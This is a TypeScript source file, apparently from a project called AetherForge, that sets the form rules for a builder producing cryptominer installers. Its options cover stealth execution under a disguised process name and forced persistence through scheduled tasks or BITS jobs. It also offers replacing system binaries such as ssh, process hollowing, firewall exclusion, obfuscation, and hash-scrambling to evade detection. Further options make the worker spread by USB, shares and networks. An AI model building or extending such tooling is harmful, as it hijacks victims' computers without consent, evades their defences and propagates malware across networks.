Files
AetherForge/server/web/src/help/forgeRules.ts
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

498 lines
17 KiB
TypeScript

import type { BuildRequest } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
export interface ForgeFieldMeta {
disabled: boolean;
lockedReason?: string;
badge?: ForgeFieldBadge;
hint?: string;
}
export interface ForgeSectionMeta {
id: string;
title: string;
description: string;
badge: ForgeFieldBadge;
}
/** What each Forge section controls — shown in the UI header. */
export const FORGE_SECTIONS: ForgeSectionMeta[] = [
{
id: 'identity',
title: 'Identity',
description: 'Worker label, control server URL, payout wallet — all baked into the installer.',
badge: 'baked',
},
{
id: 'pool',
title: 'Pool Configuration',
description: 'Where this miner submits work. Baked per installer; each forged worker can use its own pool.',
badge: 'baked',
},
{
id: 'performance',
title: 'Performance & Resources',
description: 'Threads, CPU/RAM limits, and when mining runs. Baked into the worker binary.',
badge: 'baked',
},
{
id: 'install',
title: 'Install & Process',
description: 'Install path, persistence, stealth, and Task Manager name. Baked on first run.',
badge: 'baked',
},
{
id: 'fusion',
title: 'Fusion',
description: 'Optional prep.exe bundling. Baked into the fused output file.',
badge: 'baked',
},
{
id: 'ai',
title: 'AI Autonomy',
description: 'Ollama decisions via the control server. Baked toggle; Ollama must run on the server PC.',
badge: 'baked',
},
];
const BADGE_LABELS: Record<ForgeFieldBadge, string> = {
baked: 'Baked into installer',
'server-only': 'Server folder only — not in .exe',
requires: 'Required when parent option is on',
};
export function forgeBadgeLabel(badge: ForgeFieldBadge): string {
return BADGE_LABELS[badge];
}
/** Smart field update — auto-fixes coupled settings so incompatible mixes are hard to create. */
export function applyForgeFieldUpdate(
form: BuildRequest,
field: keyof BuildRequest,
value: unknown
): BuildRequest {
const next: BuildRequest = { ...form, [field]: value } as BuildRequest;
switch (field) {
case 'stealth_mode':
if (value === true) {
next.file_logging = false;
if (next.display_mode === 'visible') {
next.display_mode = 'background';
}
next.silent_mode = true;
}
break;
case 'display_mode':
if (value === 'visible') {
next.stealth_mode = false;
next.silent_mode = false;
} else if (value === 'silent' || value === 'background') {
next.silent_mode = true;
}
break;
case 'persistence':
next.auto_start = value === true;
break;
case 'auto_start':
next.persistence = value === true;
break;
case 'target_os':
if (value !== 'windows' && value !== 'universal') {
next.process_hollowing = false;
next.sign_build = false;
if (value !== 'universal') {
next.obfuscate = false;
}
}
if (value === 'linux' || value === 'darwin') {
next.spread_kit = false;
next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
next.install_base = 'xdg_data_home';
}
} else if (value === 'windows') {
next.target_arch = 'all';
if (next.install_base === 'xdg_data_home') {
next.install_base = 'localappdata';
}
} else if (value === 'universal') {
next.target_arch = 'all';
}
break;
case 'fusion_enabled':
if (value === true) {
next.display_mode = 'background';
next.silent_mode = true;
next.spread_kit = false;
if (!next.target_os || next.target_os === 'windows') {
next.target_os = 'universal';
}
}
break;
case 'spread_kit':
if (value === true) {
Object.assign(next, {
fusion_enabled: false,
target_os: 'universal',
target_arch: 'all',
run_as: 'scheduled',
persistence: true,
auto_start: true,
self_healing: true,
stealth_mode: true,
silent_mode: true,
file_logging: false,
firewall_exclusion: true,
display_mode: 'background',
process_hollowing: false,
});
}
break;
case 'thread_mode':
if (value === 'fixed' && next.threads < 1) {
next.threads = 4;
}
if (value === 'percent' && (next.thread_percent < 1 || next.thread_percent > 100)) {
next.thread_percent = 75;
}
break;
case 'mining_mode':
if (value === 'always') {
// keep idle/schedule values for if user switches back
}
break;
case 'install_base':
if (value !== 'custom') {
next.install_custom_base = '';
}
break;
case 'run_as':
if (value === 'scheduled' || value === 'service' || value === 'bits' || value === 'host_binary') {
// Scheduled/service/BITS/host binary always register persistence — sync flags so UI matches reality
next.persistence = true;
next.auto_start = true;
}
if (value === 'host_binary' && !next.host_binary_target?.trim()) {
next.host_binary_target = 'ssh';
}
break;
case 'ai_enabled':
if (value === true) {
if (!next.ai_ollama_endpoint?.trim()) {
next.ai_ollama_endpoint = 'http://localhost:11434';
}
if (!next.ai_model?.trim()) {
next.ai_model = 'llama3.2';
}
}
break;
case 'pool_port':
if (typeof value === 'number') {
if (value === 443 && !next.pool_tls) {
next.pool_tls = true;
}
}
break;
case 'worker_name':
// Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
// Users can override process_name manually in Advanced mode.
break;
case 'pool_tls':
if (value === true && next.pool_port === 3333) {
// common pools use 443 for TLS — warn in preflight, don't auto-change port
}
break;
}
return normalizeForgeForm(next);
}
/** Per-field UI state: disabled fields + why. */
export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeFieldMeta> {
const isFixedThreads = form.thread_mode === 'fixed';
const isIdle = form.mining_mode === 'idle';
const isScheduled = form.mining_mode === 'scheduled';
const runAsForcedPersistence =
form.run_as === 'scheduled' ||
form.run_as === 'service' ||
form.run_as === 'bits' ||
form.run_as === 'host_binary';
const isHostBinaryRun = form.run_as === 'host_binary';
const targetOs = form.target_os || 'windows';
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
const isWindowsOnly = targetOs === 'windows';
const isUniversal = targetOs === 'universal';
const isSpreadKit = !!form.spread_kit;
const isFusion = !!form.fusion_enabled;
return {
worker_name: { disabled: false, badge: 'baked' },
server_url: { disabled: false, badge: 'baked' },
wallet: { disabled: false, badge: 'baked' },
output_dir: {
disabled: false,
badge: 'server-only',
hint: 'Only copies the built files on this PC — not embedded in the worker.',
},
pool_host: { disabled: false, badge: 'baked' },
pool_port: { disabled: false, badge: 'baked' },
pool_tls: { disabled: false, badge: 'baked' },
pool_pass: { disabled: false, badge: 'baked' },
thread_mode: { disabled: false, badge: 'baked' },
thread_percent: {
disabled: isFixedThreads,
badge: 'baked',
lockedReason: isFixedThreads ? 'Disabled while Thread Mode is Fixed — use Fixed Threads instead.' : undefined,
},
threads: {
disabled: !isFixedThreads,
badge: 'baked',
lockedReason: !isFixedThreads ? 'Disabled while Thread Mode is Auto (%) — use Thread Percent instead.' : undefined,
},
cpu_priority: { disabled: false, badge: 'baked' },
max_cpu_usage_pct: { disabled: false, badge: 'baked' },
max_memory_percent: { disabled: false, badge: 'baked' },
min_free_ram_mb: { disabled: false, badge: 'baked' },
mining_mode: { disabled: false, badge: 'baked' },
idle_threshold_pct: {
disabled: !isIdle,
badge: 'requires',
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
},
idle_duration_minutes: {
disabled: !isIdle,
badge: 'requires',
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
},
schedule_start: {
disabled: !isScheduled,
badge: 'requires',
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
},
schedule_end: {
disabled: !isScheduled,
badge: 'requires',
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
},
install_base: { disabled: false, badge: 'baked' },
install_custom_base: {
disabled: form.install_base !== 'custom',
badge: 'requires',
lockedReason: form.install_base !== 'custom' ? 'Select Install Base → Custom Path first.' : undefined,
},
install_relative_path: { disabled: false, badge: 'baked' },
adapt_to_hardware: {
disabled: isFixedThreads,
badge: 'baked',
lockedReason: isFixedThreads
? 'Adapt to hardware is ignored when using Fixed thread count — switch to Auto (%) or turn off fixed mode.'
: undefined,
},
self_healing: { disabled: false, badge: 'baked' },
firewall_exclusion: { disabled: false, badge: 'baked' },
stealth_mode: { disabled: false, badge: 'baked' },
file_logging: {
disabled: form.stealth_mode,
badge: 'baked',
lockedReason: form.stealth_mode ? 'Stealth mode disables log files — turn off Stealth to enable logging.' : undefined,
},
process_name: { disabled: false, badge: 'baked' },
display_mode: { disabled: false, badge: 'baked' },
persistence: {
disabled: runAsForcedPersistence,
badge: 'baked',
lockedReason: runAsForcedPersistence
? 'Run As Scheduled/Service always installs a logon task — persistence cannot be turned off for this mode.'
: undefined,
},
auto_start: {
disabled: runAsForcedPersistence,
badge: 'baked',
lockedReason: runAsForcedPersistence
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
: undefined,
},
run_as: { disabled: false, badge: 'baked' },
host_binary_target: {
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),
badge: 'baked',
lockedReason:
!isHostBinaryRun
? 'Select Run As → Host Binary Hijack to choose a client binary.'
: !isWindowsOnly && !isUniversal
? 'Host binary hijack is Windows-only.'
: undefined,
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
},
fusion_enabled: {
disabled: isSpreadKit,
badge: 'baked',
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
},
fusion_prep: {
disabled: !form.fusion_enabled,
badge: 'requires',
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
},
fusion_run_order: {
disabled: !form.fusion_enabled,
badge: 'requires',
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
},
fusion_output_name: {
disabled: !form.fusion_enabled,
badge: 'requires',
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
},
ai_enabled: { disabled: false, badge: 'baked' },
ai_ollama_endpoint: {
disabled: !form.ai_enabled,
badge: 'requires',
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
},
ai_model: {
disabled: !form.ai_enabled,
badge: 'requires',
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
},
process_hollowing: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle
? 'Process hollowing is Windows-only.'
: isUniversal
? 'Only baked into the Windows worker inside universal builds.'
: undefined,
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
},
mesh_p2p: { disabled: false, badge: 'baked' },
auto_spread: { disabled: false, badge: 'baked' },
hole_punch: { disabled: false, badge: 'baked' },
remote_aggressive: { disabled: false, badge: 'baked' },
usb_spread: { disabled: false, badge: 'baked' },
share_spread: { disabled: false, badge: 'baked' },
target_os: {
disabled: isSpreadKit || isFusion,
badge: 'baked',
lockedReason: isSpreadKit
? 'Spread Kit always targets all platforms (Universal).'
: isFusion
? 'Movie fusion always builds a universal ZIP.'
: undefined,
},
target_arch: {
disabled: !isUnixSingle,
badge: 'baked',
lockedReason: !isUnixSingle
? 'Pick Linux or macOS as Target OS to choose architecture.'
: undefined,
},
spread_kit: {
disabled: isFusion,
badge: 'baked',
lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
},
obfuscate: {
disabled: isUnixSingle,
badge: 'server-only',
lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
},
sign_build: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'server-only',
lockedReason: !isWindowsOnly && !isUniversal
? 'Authenticode signing applies to Windows .exe output only.'
: undefined,
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
},
sigil_scramble: {
disabled: false,
badge: 'server-only',
hint: 'Appends a unique entropy overlay and tweaks PE timestamp so each dispense has a different hash.',
},
};
}
/** Live incompatibility notices shown above the form. */
export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: boolean): string[] {
const notices: string[] = [];
if (form.run_as === 'service') {
notices.push(
'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
);
}
if (form.run_as === 'bits') {
notices.push(
'Run As BITS registers a Background Intelligent Transfer notify job — miner relaunches on transfer events/retries (Windows).'
);
}
if (form.run_as === 'host_binary') {
notices.push(
`Run As Host Binary backs up ${form.host_binary_target || 'ssh'} and replaces it with the worker — launching that app starts the miner then runs the original (admin required for System32 paths).`
);
}
if (
(form.run_as === 'scheduled' ||
form.run_as === 'service' ||
form.run_as === 'bits' ||
form.run_as === 'host_binary') &&
!form.persistence
) {
notices.push('Persistence is forced on for Scheduled/Service/BITS/Host Binary run modes.');
}
if (form.fusion_enabled && !fusionPrepSelected) {
notices.push('Fusion is enabled — upload prep.exe before you can forge.');
}
if (form.ai_enabled) {
notices.push('AI calls Ollama on the control server PC (not the worker). Use http://localhost:11434 if Ollama runs on this machine.');
}
if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
notices.push('Fixed thread count ignores "Adapt to hardware" at runtime.');
}
if (form.pool_port === 443 && !form.pool_tls) {
notices.push('Port 443 usually requires TLS — enable Use TLS/SSL or verify your pool docs.');
}
if (form.pool_tls && form.pool_port === 3333) {
notices.push('TLS on port 3333 is uncommon — many pools use 443 for SSL. Double-check pool docs.');
}
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
}
if (form.target_os === 'universal') {
notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
}
if (form.spread_kit) {
notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
}
if (form.fusion_enabled) {
notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
}
if (form.target_os === 'linux' || form.target_os === 'darwin') {
notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
}
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
}
return notices;
}